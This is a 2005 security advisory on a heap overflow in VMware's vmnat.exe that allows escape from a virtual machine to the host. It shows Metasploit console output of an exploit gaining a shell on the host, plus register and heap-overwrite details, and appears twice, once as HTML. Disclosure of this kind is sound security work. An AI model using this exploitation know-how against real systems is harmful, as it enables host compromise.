ACS Security Assessment Advisory - Remote Heap Overflow - A vulnerability was identified in VMware Workstation (And others) vmnat.exe, which could be exploited by remote attackers to execute arbitrary commands. This vulnerability allows the escape from a VMware Virtual Machine into userland space and compromising the host.
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ACS Security Assessment Advisory - Remote Heap Overflow
ID: ACSSEC-2005-11-25 - 0x1
Class: Remote Heap Overflow
Package: VMWare Workstation 5.5.0 <= build-18007
VMWare GSX Server Variants
VMWare Ace Variants
VMWare Player Variants
Exempt: VMWare ESX Server Variants
Build: Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 21, 2005
Remote: Yes
Severity: High
Credit: Tim Shelton <security-advisories@acs-inc.com>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
-=[ Background
"VMware Workstation is powerful desktop virtualization software for software
developers/testers and enterprise IT professionals that runs multiple
operating systems simultaneously on a single PC. Users can run Windows,
Linux, NetWare, or Solaris x86 in fully networked, portable virtual machines
- no rebooting or hard drive partitioning required. VMware Workstation
delivers excellent performance and advanced features such as memory
optimization and the ability to manage multi-tier configurations and
multiple snapshots.
With millions of customers and dozens of major product awards over the last
six years, VMware Workstation is a proven technology that improves
productivity and flexibility. An indispensable tool for software developers
and IT professionals worldwide."
-- https://www.vmware.com/products/ws/
-=[ Technical Description
A vulnerability was identified in VMware Workstation (And others) vmnat.exe,
which could be exploited by remote attackers to execute arbitrary commands.
This vulnerability allows the escape from a VMware Virtual Machine into
userland space and compromising the host.
'Vmnat' is unable to process specially crafted 'EPRT' and 'PORT' FTP
Requests.
-=[ Proof of Concept:
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
msf > use vmware_vmnat
msf vmware_vmnat(win32_bind) > exploit
[*] Starting Bind Handler.
[*] VMWare vmnat Remote Heap Exploit by Tim Shelton <security@acs-inc.com>
[*] 220 #### FTP Server Ready.
[*] Login as anonymous/login
[*] Sending evil buffer....
[*] No response from FTP server
[*] Exiting Bind Handler.
vmnat.exe: Access violation when writing to [2F5C2F5C] <- Controllable
Registers
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
-=[ Breakdown
Control over registers ECX, EDI, EBX will allow you overwrite an available
Heap Header PLINK and FLINK.
EDX points to your buffer on overwrite.
Overwrite located at ntdll.0x7C926A36 Windows XP/SP2 build 2600
-=[ Functioning Overflow of Concept:
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
msf > use vmware_vmnat_0day
msf vmware_vmnat_0day(win32_bind) > exploit
[*] Starting Bind Handler.
[*] VMWare vmnat Remote Heap Exploit 0day by Tim Shelton
<security@acs-inc.com>
[*] 220 #### FTP Server Ready.
[*] Login as anonymous/login
[*] Sending evil buffer....
[*] Got connection from 192.168.79.130:34941 <-> 192.168.79.2:4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Program Files\VMware Workstation>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
-=[ Credits
Vulnerability originally reported and exploited by Tim Shelton
-=[ ChangeLog
2005-11-25 : Original Advisory
2005-12-01 : Notified Vendor
2005-12-20 : Vendor released patch, disclosing full information.
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<TITLE>[ACSSEC-2005-11-25-0x1] VMWare Workstation 5.5.0 <=3D =
build-18007 GSX Server Variants And Others</TITLE>
</HEAD>
<BODY>
<BR>
<BR>
<P><FONT =
SIZE=3D2>-=3D[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
+]=3D-</FONT>
<BR><FONT SIZE=3D2>ACS Security Assessment Advisory - Remote Heap =
Overflow</FONT>
</P>
<P><FONT SIZE=3D2>ID: =
ACSSEC-2005-11-25 - 0x1</FONT>
</P>
<P><FONT SIZE=3D2>Class: Remote Heap Overflow</FONT>
<BR><FONT SIZE=3D2>Package: VMWare Workstation 5.5.0 <=3D =
build-18007</FONT>
<BR> <FONT =
SIZE=3D2> VMWare GSX Server Variants</FONT>
<BR> <FONT =
SIZE=3D2> VMWare Ace Variants</FONT>
<BR><FONT SIZE=3D2> =
VMWare Player Variants</FONT>
<BR><FONT SIZE=3D2>Exempt: VMWare ESX Server =
Variants</FONT>
<BR><FONT SIZE=3D2>Build: Windows NT/2k/XP/2k3</FONT>
<BR><FONT SIZE=3D2>Notified: Dec 01, 2005</FONT>
<BR><FONT SIZE=3D2>Released: Dec 21, 2005</FONT>
</P>
<P><FONT SIZE=3D2>Remote: Yes</FONT>
<BR><FONT SIZE=3D2>Severity: High</FONT>
</P>
<P><FONT SIZE=3D2>Credit: Tim Shelton =
=
<security-advisories@acs-inc.com></FONT>
<BR><FONT =
SIZE=3D2>-=3D[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
+]=3D-</FONT>
</P>
<P><FONT SIZE=3D2>-=3D[ Background</FONT>
</P>
<P><FONT SIZE=3D2>"VMware Workstation is powerful desktop =
virtualization software for software developers/testers and enterprise =
IT professionals that runs multiple operating systems simultaneously on =
a single PC. Users can run Windows, Linux, NetWare, or Solaris x86 in =
fully networked, portable virtual machines - no rebooting or hard drive =
partitioning required. VMware Workstation delivers excellent =
performance and advanced features such as memory optimization and the =
ability to manage multi-tier configurations and multiple =
snapshots.</FONT></P>
<P><FONT SIZE=3D2>With millions of customers and dozens of major =
product awards over the last six years, VMware Workstation is a proven =
technology that improves productivity and flexibility. An indispensable =
tool for software developers and IT professionals =
worldwide."</FONT></P>
<P> =
=
<FONT SIZE=3D2>-- <A =
HREF=3D"https://www.vmware.com/products/ws/" =
TARGET=3D"_blank">https://www.vmware.com/products/ws/</A></FONT>
</P>
<BR>
<BR>
<P><FONT SIZE=3D2>-=3D[ Technical Description</FONT>
</P>
<P><FONT SIZE=3D2>A vulnerability was identified in VMware Workstation =
(And others) vmnat.exe, which could be exploited by remote attackers to =
execute arbitrary commands. This vulnerability allows the escape =
from a VMware Virtual Machine into userland space and compromising the =
host. </FONT></P>
<P><FONT SIZE=3D2>'Vmnat' is unable to process specially crafted 'EPRT' =
and 'PORT' FTP Requests. </FONT>
</P>
<BR>
<BR>
<P><FONT SIZE=3D2>-=3D[ Proof of Concept:</FONT>
<BR><FONT =
SIZE=3D2>-=3D[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
+]=3D-</FONT>
</P>
<P><FONT SIZE=3D2>msf > use vmware_vmnat</FONT>
<BR><FONT SIZE=3D2>msf vmware_vmnat(win32_bind) > exploit</FONT>
<BR><FONT SIZE=3D2>[*] Starting Bind Handler.</FONT>
<BR><FONT SIZE=3D2>[*] VMWare vmnat Remote Heap Exploit by Tim Shelton =
<security@acs-inc.com></FONT>
<BR><FONT SIZE=3D2>[*] 220 #### FTP Server Ready.</FONT>
<BR><FONT SIZE=3D2>[*] Login as anonymous/login</FONT>
<BR><FONT SIZE=3D2>[*] Sending evil buffer....</FONT>
<BR><FONT SIZE=3D2>[*] No response from FTP server</FONT>
<BR><FONT SIZE=3D2>[*] Exiting Bind Handler.</FONT>
<BR><FONT SIZE=3D2>vmnat.exe: Access violation when writing to =
[2F5C2F5C] <- Controllable Registers</FONT>
</P>
<P><FONT =
SIZE=3D2>-=3D[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
+]=3D-</FONT>
</P>
<P><FONT SIZE=3D2>-=3D[ Breakdown </FONT>
</P>
<P><FONT SIZE=3D2>Control over registers ECX, EDI, EBX will allow you =
overwrite an available </FONT>
<BR><FONT SIZE=3D2>Heap Header PLINK and FLINK. </FONT>
</P>
<P><FONT SIZE=3D2>EDX points to your buffer on overwrite.</FONT>
</P>
<P><FONT SIZE=3D2>Overwrite located at ntdll.0x7C926A36 Windows XP/SP2 =
build 2600</FONT>
</P>
<P><FONT SIZE=3D2>-=3D[ Functioning Overflow of Concept:</FONT>
<BR><FONT =
SIZE=3D2>-=3D[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
+]=3D-</FONT>
</P>
<P><FONT SIZE=3D2>msf > use vmware_vmnat_0day</FONT>
<BR><FONT SIZE=3D2>msf vmware_vmnat_0day(win32_bind) > =
exploit</FONT>
<BR><FONT SIZE=3D2>[*] Starting Bind Handler.</FONT>
<BR><FONT SIZE=3D2>[*] VMWare vmnat Remote Heap Exploit 0day by Tim =
Shelton <security@acs-inc.com></FONT>
<BR><FONT SIZE=3D2>[*] 220 #### FTP Server Ready.</FONT>
<BR><FONT SIZE=3D2>[*] Login as anonymous/login</FONT>
<BR><FONT SIZE=3D2>[*] Sending evil buffer....</FONT>
<BR><FONT SIZE=3D2>[*] Got connection from 192.168.79.130:34941 =
<-> 192.168.79.2:4444</FONT>
</P>
<P><FONT SIZE=3D2>Microsoft Windows XP [Version 5.1.2600]</FONT>
<BR><FONT SIZE=3D2>(C) Copyright 1985-2001 Microsoft Corp.</FONT>
</P>
<P><FONT SIZE=3D2>C:\Program Files\VMware Workstation></FONT>
</P>
<P><FONT =
SIZE=3D2>-=3D[++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
+]=3D-</FONT>
</P>
<BR>
<P><FONT SIZE=3D2>-=3D[ Credits</FONT>
</P>
<P><FONT SIZE=3D2>Vulnerability originally reported and exploited by =
Tim Shelton</FONT>
</P>
<BR>
<P><FONT SIZE=3D2>-=3D[ ChangeLog</FONT>
</P>
<P><FONT SIZE=3D2>2005-11-25 : Original Advisory</FONT>
<BR><FONT SIZE=3D2>2005-12-01 : Notified Vendor</FONT>
<BR><FONT SIZE=3D2>2005-12-20 : Vendor released patch, disclosing full =
information.</FONT>
</P>
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